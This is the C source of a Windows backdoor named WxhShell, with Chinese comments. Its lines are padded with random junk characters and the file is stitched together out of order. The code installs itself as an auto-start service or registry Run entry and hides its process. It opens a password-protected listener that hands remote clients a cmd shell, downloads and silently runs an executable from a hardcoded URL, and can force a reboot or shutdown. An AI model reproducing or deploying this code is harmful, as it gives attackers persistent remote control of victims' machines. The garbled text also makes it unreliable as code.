    if(Boot(SHUTDOWN)) PtQQZ"ept  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k%EWkM)?  
    else { 2gQY8h8  
    closesocket(wsh); Pcs^@QP  
    ExitThread(0); 8 *4@-3Sx  
    } JDC=J(B  
    break; io1S9a(y  
    } \]Y\P~n  
  // 获取shell l 8O"w&  
  case 's': { &ui:DZAxj|  
    CmdShell(wsh); );Tx5Z}  
    closesocket(wsh); )LkM,T  
    ExitThread(0); tj#=%m?8V;  
    break; K(-G: |  
  } Zvd ;KGO(a  
  // 退出 r+imn&FK8  
  case 'x': { g8%MOhg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e+NWmu{<_  
    CloseIt(wsh); bWGyLo,  
    break; 6@"Vqm|HD  
    } @IEI%vH  
  // 离开 >|l;*Kw,/P  
  case 'q': { P_,v5Qx"-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ??|d=4g\  
    closesocket(wsh); Ivz+Jj w  
    WSACleanup(); T{_1c oL  
    exit(1); @PYW|*VS  
    break; E)KB@f<g*  
        } f:_=5e +  
  } #^5a\XJb  
  } 8!Wfd)4=,F  
=jJ H^Y2  
  // 提示信息 B1|?RfCe  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qy4X#wgD  
} X}3P1.n:  
  } \BN|?r$a  
M%7`8KQ  
  return; @''&nRC1  
} w@87]/4Rq  
i?ZA x4D  
// shell模块句柄 oR-O~_) U  
int CmdShell(SOCKET sock) /0Z|+L9Jo  
{ zl0;84:H  
STARTUPINFO si; 5){tBK|  
ZeroMemory(&si,sizeof(si)); zx ct(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q]F4Lq(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EYA/CI   
PROCESS_INFORMATION ProcessInfo; q!ee g  
char cmdline[]="cmd"; MzG5u<D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1v;'d1Hg;  
  return 0; $8jaapNm@  
} d/l,C4p  
r %+Bc Y  
// 自身启动模式 uQ{=o]sy  
int StartFromService(void) 0('OyH)  
{ aL88E  
typedef struct >g>?Y G  
{ f_oq1W)9  
  DWORD ExitStatus; 3}08RU7[!  
  DWORD PebBaseAddress; F;pTXt}?5  
  DWORD AffinityMask; yPSVwe|g  
  DWORD BasePriority; 66/Z\H^d  
  ULONG UniqueProcessId; E^7C _JP  
  ULONG InheritedFromUniqueProcessId; aPprMQ5  
}   PROCESS_BASIC_INFORMATION; tJff+n>  
I%SuT7"Do  
PROCNTQSIP NtQueryInformationProcess; I4rV5;f H4  
ojX%RU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NPS .6qY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yb69Q#V2  
_B}9 f  
  HANDLE             hProcess; :qBGe1Sv(  
  PROCESS_BASIC_INFORMATION pbi; /j11,O?72  
I"B8_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [w,(EE   
  if(NULL == hInst ) return 0; p Z"o@';!  
nlaG<L#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =D{B}=D\IM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }I\-HP8!gv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :=y0'f V(@  
Dzo{PstM%  
  if (!NtQueryInformationProcess) return 0; e"*BHvy F  
\$j^_C>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pG(Fz0b{  
  if(!hProcess) return 0; Z*h43  
zkd3Z$Ce  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C9o$9 l+B  
F{;; :  
  CloseHandle(hProcess); Ky *DfQA  
Rl1$?l6Rf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `ovgWv  
if(hProcess==NULL) return 0; &D]&UQf  
5qC:yI  
HMODULE hMod; }X.>4\B5  
char procName[255]; 3!>/smb !  
unsigned long cbNeeded; &&&9  
z* RSMfRW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >jv\Qh  
$.wA?`1aSk  
  CloseHandle(hProcess); o/WC@!wg K  
>'N!dM.+9  
if(strstr(procName,"services")) return 1; // 以服务启动 Z{} n8 b*  
R0vww_fz  
  return 0; // 注册表启动 C>4UbU  
} k5wi'  
4\\.n  
// 主模块 i=-8@  
int StartWxhshell(LPSTR lpCmdLine) eI0F!Yon  
{ MO-!TZ+6  
  SOCKET wsl; 3I]Fdp)'  
BOOL val=TRUE; \2j|=S6  
  int port=0; \04mLIJr9  
  struct sockaddr_in door; *o!l/>4g  
x )3~il5  
  if(wscfg.ws_autoins) Install(); jP+ pA e  
2)=la%Nx  
port=atoi(lpCmdLine); U,'EF[t  
vnTq6:f#M  
if(port<=0) port=wscfg.ws_port; kQIfYtT  
Q70bEHLA  
  WSADATA data; |:N>8%@6c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ocwE_dR{  
+1/b^Ac  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [A]Ca$':  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JD ]OIh  
  door.sin_family = AF_INET; 1Fs-0)s8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i|S: s  
  door.sin_port = htons(port); p0Gk j-  
+RS$5NLH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F?cq'd  
closesocket(wsl); 5/ * >v  
return 1; VRF6g|0;  
} L%XXf3;c  
` 5#h jLe  
  if(listen(wsl,2) == INVALID_SOCKET) { ~p\n&{P0  
closesocket(wsl); rGQ5l1</  
return 1; @;;G88=  
} 3b@VY'P  
  Wxhshell(wsl); };r|}v !~_  
  WSACleanup(); 7TpRCq#  
(N0sE"_~I5  
return 0; O:e#!C8^  
@o&Ytd;i  
} ?Wa<AFXQ  
LWD#a~  
// 以NT服务方式启动 nv)))I\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w.uK?A>W,  
{ !R6ApB4ZI  
DWORD   status = 0; (ii( yz|  
  DWORD   specificError = 0xfffffff; s/t11;  
`eC+% O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +ubnx{VC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jgq{pZ#E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?mU\ N0o  
  serviceStatus.dwWin32ExitCode     = 0; cIb4-TeV  
  serviceStatus.dwServiceSpecificExitCode = 0; M|8 3HTJ  
  serviceStatus.dwCheckPoint       = 0; W Y:s gG  
  serviceStatus.dwWaitHint       = 0; ('4wXD]C  
h55>{)(E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MwAJ(  
  if (hServiceStatusHandle==0) return; 8teJ*sz  
.YR8v1Cp  
status = GetLastError(); 'I v_mig  
  if (status!=NO_ERROR) 6,+nRiZ  
{ B |&F%P0:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a$$ Wt<&Y  
    serviceStatus.dwCheckPoint       = 0; Y)Tl<  
    serviceStatus.dwWaitHint       = 0; 5g>wV  
    serviceStatus.dwWin32ExitCode     = status; CTp!di|  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7$7n71o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YB5dnS"n  
    return; \bold"  
  } J633uH}}  
7W|Zq6p i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :gf;}  
  serviceStatus.dwCheckPoint       = 0; 'zxoRc-b@N  
  serviceStatus.dwWaitHint       = 0; oH X$k{6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R=M!e<'  
} Qqq <e  
3=- })X ;  
// 处理NT服务事件,比如:启动、停止 !re1EL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `!i-#~n  
{ [/$N!2'5  
switch(fdwControl) TzKK;(GX  
{ wkBL=a  
case SERVICE_CONTROL_STOP: 3?`"  
  serviceStatus.dwWin32ExitCode = 0; N4wA#\-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =~jA oOC@  
  serviceStatus.dwCheckPoint   = 0; <2<87PU  
  serviceStatus.dwWaitHint     = 0; pbLGe'  
  { d~Mg vh'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i_ QcC  
  } 78]gt J  
  return; JJnYOau  
case SERVICE_CONTROL_PAUSE: jg_n7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @Y-TOCadT  
  break; S_\ F  
case SERVICE_CONTROL_CONTINUE: Cj^{9'0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x8"#!Pw:`"  
  break; N wtg%;  
case SERVICE_CONTROL_INTERROGATE: `@XehSQ  
  break; c!wtf,F  
}; cj g.lzY H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Dw,"VHP  
} !9 f4R/ ?  
c-8!#~M(  
// 标准应用程序主函数 8\Hr5FqB(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wC` R>)  
{ 1mH\k5xu  
SlaDt  
// 获取操作系统版本 zOB=aG?/  
OsIsNt=GetOsVer(); A'-_TFwW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c\.P/~  
,.v7FM^gO  
  // 从命令行安装 v}[dnG  
  if(strpbrk(lpCmdLine,"iI")) Install(); \#6Fm_b] u  
A-uB\ L  
  // 下载执行文件 euQ.ArF  
if(wscfg.ws_downexe) { e:-8k_0|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d,9`<1{9  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8l>CR#%@C  
} &y\sL"YL!  
s'u(B]E  
if(!OsIsNt) {  &`Ck  
// 如果时win9x,隐藏进程并且设置为注册表启动 s 3r=mp{  
HideProc(); 4c159wsnQ  
StartWxhshell(lpCmdLine); 8C7Z{@A&#  
} DtF}Qv A  
else D7 ?C  
  if(StartFromService()) P8I*dvu _  
  // 以服务方式启动 zoZH[a`H  
  StartServiceCtrlDispatcher(DispatchTable); Y*LaBxt Q  
else X_ ?97iXjx  
  // 普通方式启动 c/aup  
  StartWxhshell(lpCmdLine); 9[Qd)%MO  
\#,t O%D  
return 0; MGt]'}  
} SEd5)0X^  
J|~26lG  
a07=tD  
ll<NIdf\r  
=========================================== M1!pQC_9  
\Fb| {6+  
Qe$k3!  
%b}gDWs  
Q8qz*v]{  
uk7'K 0j  
" m*e YC  
WsOi,oG@  
#include <stdio.h> =? :@  
#include <string.h> e/s(ojDW  
#include <windows.h> DQXS$uBT  
#include <winsock2.h> :c]`D>  
#include <winsvc.h> n(vDytrj;  
#include <urlmon.h> 1HR~ G9  
cAuY4RV  
#pragma comment (lib, "Ws2_32.lib") K@:m/Z}|4  
#pragma comment (lib, "urlmon.lib") HY}j!X  
${hz e<g  
#define MAX_USER   100 // 最大客户端连接数 p{Sh F.  
#define BUF_SOCK   200 // sock buffer ?mYYt]R  
#define KEY_BUFF   255 // 输入 buffer " I+p  
ofdZ1F  
#define REBOOT     0   // 重启 6}dR$*=  
#define SHUTDOWN   1   // 关机 p>*i$  
P?ep]  
#define DEF_PORT   5000 // 监听端口 +K$NAT  
*"{& FEV  
#define REG_LEN     16   // 注册表键长度 acW'$@y9?N  
#define SVC_LEN     80   // NT服务名长度 9#/(N#>  
N{C;~'M2ce  
// 从dll定义API H+C6[W=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L;6.r3bL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #AViM_u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); olYsT**'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @aG&n(.!u*  
-yx/7B5@  
// wxhshell配置信息 nU z7|y  
struct WSCFG { NgZUnh3{  
  int ws_port;         // 监听端口 z1V#'$_5-  
  char ws_passstr[REG_LEN]; // 口令 6Y384  
  int ws_autoins;       // 安装标记, 1=yes 0=no slW3qRT\k  
  char ws_regname[REG_LEN]; // 注册表键名 T-" I9kM  
  char ws_svcname[REG_LEN]; // 服务名 "ZMkL)'7-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]MTbW=*}ED  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q/&y*)&'O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8im@4A+n`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wts:65~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2>PH 8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'r} fZ  
p@Q5b}xCG_  
}; @gfDp<  
RW7(r/C  
// default Wxhshell configuration 7C,T&g 1:  
struct WSCFG wscfg={DEF_PORT, IB5BO7J  
    "xuhuanlingzhe", ;N=G=X|}  
    1, Ug"rJMZG  
    "Wxhshell", ! . HnGb+  
    "Wxhshell", g!J0L7 i|  
            "WxhShell Service", /Z%>ArAx  
    "Wrsky Windows CmdShell Service", 0@=MOGQb  
    "Please Input Your Password: ", H AB#pd9  
  1, $#NQ <3  
  "http://www.wrsky.com/wxhshell.exe", F} DUEDND*  
  "Wxhshell.exe" eiMH['X5  
    }; _YHu96H;  
@,H9zrjVFZ  
// 消息定义模块 HZ"Evl|n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f-RK,#^?,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E;(Rm>lB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &Ral+J  
char *msg_ws_ext="\n\rExit."; ^ @=^;nB  
char *msg_ws_end="\n\rQuit."; w!3>N"em  
char *msg_ws_boot="\n\rReboot..."; /2uQCw&x-  
char *msg_ws_poff="\n\rShutdown..."; +Ov2`O8?  
char *msg_ws_down="\n\rSave to "; % 4 ~l  
:`,3h%  
char *msg_ws_err="\n\rErr!"; ${&5]!E[>D  
char *msg_ws_ok="\n\rOK!"; m}Y0xV9  
` $5UHa2/  
char ExeFile[MAX_PATH]; \FzM4-  
int nUser = 0; <G3&z#]#4  
HANDLE handles[MAX_USER]; uOi&G:=  
int OsIsNt; `S/wJ'c  
r.3KPiYK  
SERVICE_STATUS       serviceStatus; /.Jb0h[W1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *,WP,-0  
dE=Ue#1U@5  
// 函数声明 6j9)/H P  
int Install(void); K`KLC.j  
int Uninstall(void); H#d:kilNy  
int DownloadFile(char *sURL, SOCKET wsh); %1U`@0  
int Boot(int flag); h#}YKWL  
void HideProc(void); arZ@3]X%a  
int GetOsVer(void); ,TC;{ $O5  
int Wxhshell(SOCKET wsl); x8#ODuH  
void TalkWithClient(void *cs); SAv<&  
int CmdShell(SOCKET sock); `k{& /]  
int StartFromService(void); \c`oy=qY0  
int StartWxhshell(LPSTR lpCmdLine); Es5p}uh.[Y  
ra7uU*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ' P"g\;Ij  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [IBQvL  
yubSj*  
// 数据结构和表定义 %:C ]7gQ  
SERVICE_TABLE_ENTRY DispatchTable[] = r64u31.)  
{ ! T9]/H?  
{wscfg.ws_svcname, NTServiceMain}, Yxd X#3  
{NULL, NULL} -p,x&h,p  
}; b'@we0V@S  
v"DL'@$Ut{  
// 自我安装 OyG"1F  
int Install(void) \l#>dq"Y  
{ 0lk;F  
  char svExeFile[MAX_PATH]; L;t)c  
  HKEY key; sKaE-sbJY  
  strcpy(svExeFile,ExeFile); b3$k9dmxV+  
T3&`<%,f  
// 如果是win9x系统,修改注册表设为自启动 /\d$/~BFi  
if(!OsIsNt) { UHO_Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] gb=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S[:xqzyDg  
  RegCloseKey(key); irBDGT~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g^>#^rLU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v Y|!  
  RegCloseKey(key); V_^@  
  return 0; ~[PKcEX  
    } m>&HuHf  
  } ~4,I7c7  
} ><?BqRm+  
else { `m~syKz4A  
V`hu,Y;%  
// 如果是NT以上系统,安装为系统服务 e_3CSx8Cc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xl4=++pu)  
if (schSCManager!=0) QP I+y8N=  
{ :Og:v#r8=  
  SC_HANDLE schService = CreateService ?>uew^$d[w  
  ( SpTdj^]4>  
  schSCManager, p#d+>7  
  wscfg.ws_svcname, xBnbF[  
  wscfg.ws_svcdisp, Zf*r2t1&P  
  SERVICE_ALL_ACCESS, ZFh+x@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %i{;r35M;9  
  SERVICE_AUTO_START, *e"a0  
  SERVICE_ERROR_NORMAL, cd@.zg'sYn  
  svExeFile, 8%{q%+  
  NULL, !UBO_X%dz  
  NULL, V1=*z  
  NULL, =H]F`[B=  
  NULL, V2&^!#=s  
  NULL yWIm&Q:  
  ); *=F(KZ  
  if (schService!=0) B33$ u3d  
  { *tQk;'/A]  
  CloseServiceHandle(schService); !%L,* '  
  CloseServiceHandle(schSCManager); &Y>zT9]$K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9|r* pK[  
  strcat(svExeFile,wscfg.ws_svcname); ilLBCS}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _uxPx21g}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mPZGA\  
  RegCloseKey(key); 3C>qh{z"  
  return 0; <_S@6 ?  
    } =o dkz}bU  
  } KlxN~/gyik  
  CloseServiceHandle(schSCManager); "`tXA  
} 0Dv JZ|e  
} !-]C;9 Zd  
~XM[>M\qB  
return 1; 8}p8r|d!ls  
} B;zt#H4  
- Xupq/[,  
// 自我卸载 Rhgj&4  
int Uninstall(void) h,t|V}Wb  
{ .=R lOK  
  HKEY key; !F4;_A`X  
JMV50 y  
if(!OsIsNt) { 3 pWM~(#>-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H -t|i  
  RegDeleteValue(key,wscfg.ws_regname); (yrh=6=z  
  RegCloseKey(key); hXL|22>w<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U5ZX78>a  
  RegDeleteValue(key,wscfg.ws_regname); qc-,+sn(  
  RegCloseKey(key); 5fjd{Y[k  
  return 0; !|{IVm/J  
  } z5cYyx r>  
} &k>aP0k"  
} eBr4O i  
else { X~U >LLr  
(RL>Hn;.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H?rg5TI0  
if (schSCManager!=0) :J_oj:0r"f  
{ S\C*iGeqJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M].8HwC+  
  if (schService!=0) ~hX-u8Ul'N  
  { D@54QJ<  
  if(DeleteService(schService)!=0) { J\co1kO9/  
  CloseServiceHandle(schService); $xW **&  
  CloseServiceHandle(schSCManager); >l1 r,/\\  
  return 0; X)Gp7k1w  
  } bY8GA  
  CloseServiceHandle(schService); %e%7oqR?  
  } 19u =W(  
  CloseServiceHandle(schSCManager); i?}>.$j  
} 4YA./j%'  
} U@lV  
t8J/\f=  
return 1; i.a _C'<$  
} E,"&-`/2v  
f05d ;  
// 从指定url下载文件 L:f)i,S"5q  
int DownloadFile(char *sURL, SOCKET wsh) MiGcA EF;  
{ c.K =(y*  
  HRESULT hr; Zr/r2  
char seps[]= "/"; m#@_8_ M  
char *token; a5c'V   
char *file; K b(9)Re  
char myURL[MAX_PATH]; LsTffIP  
char myFILE[MAX_PATH]; XAic9SNu;  
05e>\}{0  
strcpy(myURL,sURL); pdz'!I  
  token=strtok(myURL,seps); p8>%Mflf  
  while(token!=NULL) k=n "+  
  { ^X1wI9V  
    file=token; W'$kZ/%[  
  token=strtok(NULL,seps); qd2xb8r  
  }  kq/u,16@  
@6MAX"  
GetCurrentDirectory(MAX_PATH,myFILE); W kkxU.xXE  
strcat(myFILE, "\\"); mb1IQ &  
strcat(myFILE, file); zJl_ t0  
  send(wsh,myFILE,strlen(myFILE),0); ,x#ztdvr  
send(wsh,"...",3,0); McP.9v}H0_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x-Z^Q C  
  if(hr==S_OK) 9D_wG\g  
return 0; /tKGwX]y  
else 1i-[+   
return 1; 9M2f!kJP$  
v*TeTA %  
} G}Z4g  
K8Zt:yP  
// 系统电源模块 3 N%{B  
int Boot(int flag) \r -N(;m  
{ U":"geU  
  HANDLE hToken; :YvbU Y  
  TOKEN_PRIVILEGES tkp; I,P!@  
&YX6"S_B  
  if(OsIsNt) { zixE Mi[8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L#j/0IHD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dr]&kqm  
    tkp.PrivilegeCount = 1; &HF]\`RNr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _}=E^/;(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TVkcDS  
if(flag==REBOOT) { $I8[BYblB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AzjMv6N   
  return 0; e-6(F4  
} #5{sglC"|F  
else { Z3;=w%W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YmDn+VIg  
  return 0; H@W0gK(cS;  
} Vyt E  
  } ]P3[.$z  
  else {  P\(30  
if(flag==REBOOT) { [x_s/"Md;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rm|7 [mK  
  return 0; %V_eJC""?  
} $9H[3OZPVv  
else { jT^!J+?6K+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0xP:9rm  
  return 0; fN[n>%)VO<  
} {j@+h%sF>+  
} -Enbcz(B  
I~RcOiL)  
return 1; P9yw&A  
} #s^s_8#&e  
cjT[P"5$  
// win9x进程隐藏模块 sp{j!NSL  
void HideProc(void) `o-*Tr  
{ 6\`DlUn'*  
^x3EotQ\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z93nYY$`Y  
  if ( hKernel != NULL ) ;&mxqY8`'  
  { 6ZgNHARS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZNy9_a:dX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I9/KM4&  
    FreeLibrary(hKernel); %UG/ak%z  
  } ^pw7o6}  
=uc^433.  
return; ha>SZnKD{  
} ?`i|" y #  
b%<jUY  
// 获取操作系统版本 P#bm uCOS  
int GetOsVer(void) ]Zv ,  
{ yA}nPXrd  
  OSVERSIONINFO winfo; 1 ypjyu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jkCHi@  
  GetVersionEx(&winfo); *1,=qRjL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BHclUwj  
  return 1; RAOKZ~`  
  else lko3]A3  
  return 0; 6o(lObfo  
} o16~l]Z|f  
c}cG<F  
// 客户端句柄模块 Nh:4ys!P  
int Wxhshell(SOCKET wsl) Cqa3n[Mhw1  
{ 6vWii)O.D  
  SOCKET wsh; JD-Becz  
  struct sockaddr_in client; $Q ffrU'  
  DWORD myID; Ou!)1UFI  
eoL0^cZj  
  while(nUser<MAX_USER) ?\d5;%YSr  
{ FvA|1c  
  int nSize=sizeof(client); @7X\tV.Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QX+Y(P`vMK  
  if(wsh==INVALID_SOCKET) return 1; 'A1E^rl]=  
*vD/(&pQ1:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W U0UG$o`  
if(handles[nUser]==0) 0#]!#1utg  
  closesocket(wsh); 0STk)> 3$-  
else i6A$1(:h  
  nUser++; oVreP  
  } 8x gc[#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !xH,y  
n4R]+&*  
  return 0; b<\GI 7  
} M;PlSb  
QU%N*bFW%P  
// 关闭 socket Ks51:M  
void CloseIt(SOCKET wsh) #'KY`&Tw&  
{ Tz2x9b\82  
closesocket(wsh); 1sMV`qv>  
nUser--; !,R  
ExitThread(0); 8z0Hx  
} !8Y3V/)NU  
(E IRz>  
// 客户端请求句柄 Ga?UHw~  
void TalkWithClient(void *cs) k3 /4Bt G/  
{ wvX"D0eVn  
wH!}qz /  
  SOCKET wsh=(SOCKET)cs; Iw*C*%}[Z  
  char pwd[SVC_LEN]; e00RT1L  
  char cmd[KEY_BUFF]; 4a1BGNI%SW  
char chr[1]; v$Dh.y  
int i,j; Ho>p ^p  
ko>M&/^  
  while (nUser < MAX_USER) { pj j}K  
nHE+p\  
if(wscfg.ws_passstr) { "LXXs0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dZ-Ny_@&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EO"=\C,  
  //ZeroMemory(pwd,KEY_BUFF); vg5E/+4gp%  
      i=0; :nt}7Dn'  
  while(i<SVC_LEN) { *:(1K%g  
M$#+W?m&  
  // 设置超时 HoMQt3C  
  fd_set FdRead; Qk|( EFQ9  
  struct timeval TimeOut; d{?)q  
  FD_ZERO(&FdRead); qPp]K?.  
  FD_SET(wsh,&FdRead); 2,+@# q  
  TimeOut.tv_sec=8; rdFs?hO  
  TimeOut.tv_usec=0; Hc>([?P%t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8R&z3k;!t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vsjM3=  
gp%tMT I1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q4#\{" N!  
  pwd=chr[0]; #T Z!#,q  
  if(chr[0]==0xd || chr[0]==0xa) { 3SmqXPOw  
  pwd=0; 7Zhli Y1  
  break; |_!PD$i-  
  } {6ajsy5=  
  i++; B>1M$3`E  
    } 0H; "5  
R,uJK)m  
  // 如果是非法用户,关闭 socket oJhEHx[f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hcj{%^p  
} {E3;r7  
4;08n|C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ='KPT1dW*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bn5"dxV  
:u,2" ]  
while(1) { -DA;KWYS  
HW^{;'kH~  
  ZeroMemory(cmd,KEY_BUFF); (2n3exx  
o@Dk%LxP  
      // 自动支持客户端 telnet标准   wHq('+{=&  
  j=0; %`bLmfm  
  while(j<KEY_BUFF) { ;<86P3S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y>?k<)nA{  
  cmd[j]=chr[0]; \XZU'JIO  
  if(chr[0]==0xa || chr[0]==0xd) { _.u~)Q`6  
  cmd[j]=0; \?aOExG I  
  break; hg(KNvl  
  } 3L%Y"4(mm  
  j++; D "JMSL4r  
    } ;]|m((15G  
bDxPgb7N=  
  // 下载文件 1 OuSH+  
  if(strstr(cmd,"http://")) { ^Z#<tN;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]%b0[7[  
  if(DownloadFile(cmd,wsh)) ?U7&R%Lh`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FuIWiO(  
  else Z#H@BWN7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dP$y>%cB  
  } KB$ vQ@N  
  else { b=6ZdN1  
f J,8g/f8  
    switch(cmd[0]) { *C,$W\6sz  
